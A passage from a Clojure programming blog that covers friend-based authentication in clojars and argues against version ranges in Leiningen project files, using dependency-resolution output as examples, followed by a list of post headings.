(defn registration [{:keys [uri request-method params]}]
  (when (and (= uri "/register")
             (= request-method :post))
    (register params)))

A :get to /register can just render the register-form. By including registration as a workflow, it will listen for a :post to /register and either return a ring response with the form to try again, or add the user and return a friend “authentication map”. Yes, this is a different pattern then the interactive workflow above.

Authentication not Authorization

While exploring friend, a downside was noted with the authorization. When a user is authenticated, the :roles are added into the session. If the user gets a new role it will not take effect without a login/logout. Using derive to produce a in memory role hierarchy can work with this, as suggested in the friend readme.

This seemed like a bad idea for clojars. The direct mapping of groups to roles would require trying to keep the roles in sync with the database, and reinitialized on a restart. Instead clojars uses its own mechanism for authorization wrapping (friend/throw-unauthorized friend/*identity*).

After discussion with Chas an issue has been filed at https://github.com/cemerick/friend/issues/21. It sounds like there will be work in this area in the future.

Benefits

Moving to friend allowed removal of several pieces of code. The ability to deploy to /repo over https was developed shortly afterwards. It was nice to wrap a friend middleware with the http-basic workflow, have it use the same credentials function, and just work.

Do not use version ranges in project.clj

2012-07-31T00:00:00+00:00

Build tools like lein and maven make it very easy to use libraries in clojure. Just go to clojars or central and find the one you want. However, there are several situations where dependency resolution does not go as planned. A lot of these are a result of using version ranges for a dependency.

I’m going to pick on Christophe Grand and use his regex library for some examples of what can happen. It contains a version range for clojure of [1.2.0,). This means it wants version 1.2.0 or later.

Version ranges check a pom for every version

Given this project.clj:

(defproject tester "0.0.1"
  :dependencies [[org.clojure/clojure "1.4.0"]
                 [net.cgrand/regex "1.1.0"]])

Running lein deps produces:

Retrieving org/clojure/clojure/1.3.0/clojure-1.3.0.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/sonatype/oss/oss-parent/5/oss-parent-5.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.2.1/clojure-1.2.1.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.3.0/clojure-1.3.0.jar (3022k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0/clojure-1.4.0.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/maven-metadata.xml (1k)
    from http://repo1.maven.org/maven2/
Could not find metadata org.clojure:clojure/maven-metadata.xml in clojars (https://clojars.org/repo/)
Retrieving org/clojure/clojure/1.2.0/clojure-1.2.0.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.3.0-alpha5/clojure-1.3.0-alpha5.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.3.0-alpha6/clojure-1.3.0-alpha6.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.3.0-alpha7/clojure-1.3.0-alpha7.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.3.0-alpha8/clojure-1.3.0-alpha8.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.3.0-beta1/clojure-1.3.0-beta1.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.3.0-beta2/clojure-1.3.0-beta2.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.3.0-beta3/clojure-1.3.0-beta3.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.3.0-RC0/clojure-1.3.0-RC0.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-alpha1/clojure-1.4.0-alpha1.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-alpha2/clojure-1.4.0-alpha2.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-alpha3/clojure-1.4.0-alpha3.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-alpha4/clojure-1.4.0-alpha4.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-alpha5/clojure-1.4.0-alpha5.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-beta1/clojure-1.4.0-beta1.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-beta2/clojure-1.4.0-beta2.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-beta3/clojure-1.4.0-beta3.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-beta4/clojure-1.4.0-beta4.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-beta5/clojure-1.4.0-beta5.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-beta6/clojure-1.4.0-beta6.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0-beta7/clojure-1.4.0-beta7.pom (1k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.5.0-alpha1/clojure-1.5.0-alpha1.pom (2k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.5.0-alpha2/clojure-1.5.0-alpha2.pom (2k)
    from http://repo1.maven.org/maven2/
Retrieving org/clojure/clojure/1.4.0/clojure-1.4.0.jar (3045k)
    from http://repo1.maven.org/maven2/

This produces a large number of requests for poms. Unfortunately Aether, the library underneath lein2/maven3, cannot merge the two dependencies on clojure without downloading everything. This is a rather slight annoyance, but it makes clean builds, such as on travis-ci, very noisy.

Version ranges cause surprises

(defproject tester "0.0.1"
  :dependencies [[org.clojure/clojure "1.1.0"]
                 [net.cgrand/regex "1.1.0"]])

lein deps :tree shows:

[net.cgrand/regex "1.1.0"]
  [org.clojure/clojure "1.5.0-alpha2"]

Here is a project with a direct dependency on clojure 1.1.0. This is outside of the range desired by net.cgrand/regex. Aether lets version ranges take priority over normal “soft” dependencies, and the project uses 1.5.0-alpha2 instead. Normally a direct dependency will take priority over any transitive dependencies. This situation causes a surprise for the user, who would not be expecting a transitive version range. The user has to go explicitly add an :exclusion to get the desired version of clojure.

Version ranges are hard to track down

(defproject tester "0.0.1"
  :dependencies [[org.clojure/clojure "1.1.0"]
                 [serializable-fn "1.1.2"]
                 [net.cgrand/regex "1.1.0"]])

lein deps :tree shows:

[net.cgrand/regex "1.1.0"]
[serializable-fn "1.1.2"]
  [org.clojure/clojure "1.3.0"]

Here the project has another dependency – serializable-fn. It wants clojure 1.3.0. The dependency tree shows that clojure 1.3.0 got chosen because of serializable-fn. However, this only happens because net.cgrand/regex has a version range. This association of why a dependency was downloaded does not help the user determine where an :exclusion should go. Using the data they would place an :exclusion on serializable-fn, but that would just lead to getting 1.5.0-alpha2 as above.

Version ranges cause unrepeatable builds

Open ended version ranges also create unrepeatable builds. Since net.cgrand/regex uses the latest above 1.2.0, building a version now, versus building a version a week from now may result in different clojure versions running the test suite.

Do not use version ranges

Do not use version ranges. There have been several instances of people asking for help on #clojure or #leiningen and a version range being the underlying issue. They cause problems for other developers and users of your libraries.

Nelson Morris

Return a function so you don't repeat yourself

Separate code structure work from functional work

Function creation is functional

Reviewing the macro

Keeping it dry

How does serving html, css, and javascript fit in a clojure web app?

Finding pre-packaged resources

Packaging your own resources

Serving resources

Debugging resources

Reloaded a protocol and "No implementation of method"?

So what causes this error?

How to fix

Using component for dependency injection in clojure web apps

Hooking component up into a ring app

Finding functions with the clojure cheatsheet

Use the Clojure cheatsheet

Links to examples

There are other sites too

Test sending emails with protocols

How do we test its going to send the right email?

Using a protocol allows us to switch the functionality

Create a stub implementation for the protocol

Streaming responses using ring

Ring streaming at the lowest level, InputStreams and OutputStreams

Attempt 1: Sending a large XML response

Complete XML streaming example

Saturday remote pairing

What do you get?

If you are a beginner

If you are not a beginner

Who am I?

What I get

Possible projects

Beginner ideas:

Experienced ideas:

Prefered setup

Interested?

Questions?

Can we spend time on a work project?

Have you signed a clojure contributor’s agreement?

Saturday doesn’t work for me. Can we schedule a different time?

I’m not an emacs user, can we use __?

CSRF protection in ring

Using jetty for testing clojure web apps

Ring Tests with Peridot; humanized with Kerodon (Video)

Solving version conflicts with lein-pedantic

Different dependency versions

Introducing lein-pedantic

Breaking lazybot out of clojail

Seeing lazybot’s libs

No direct shell access

clojail.jvm allowed shell access

Clojure -> Java -> Clojure

Clojure -> Java -> Clojure (again)

Update your clojail

A note from Anthony Grimes

Using friend in clojars

Use bcrypt

Interactive Form Workflow

Registration Workflow

Authentication not Authorization

Benefits

Do not use version ranges in project.clj

Version ranges check a pom for every version

Version ranges cause surprises

Version ranges are hard to track down

Version ranges cause unrepeatable builds

Do not use version ranges

Ring streaming at the lowest level, `InputStream`s and `OutputStream`s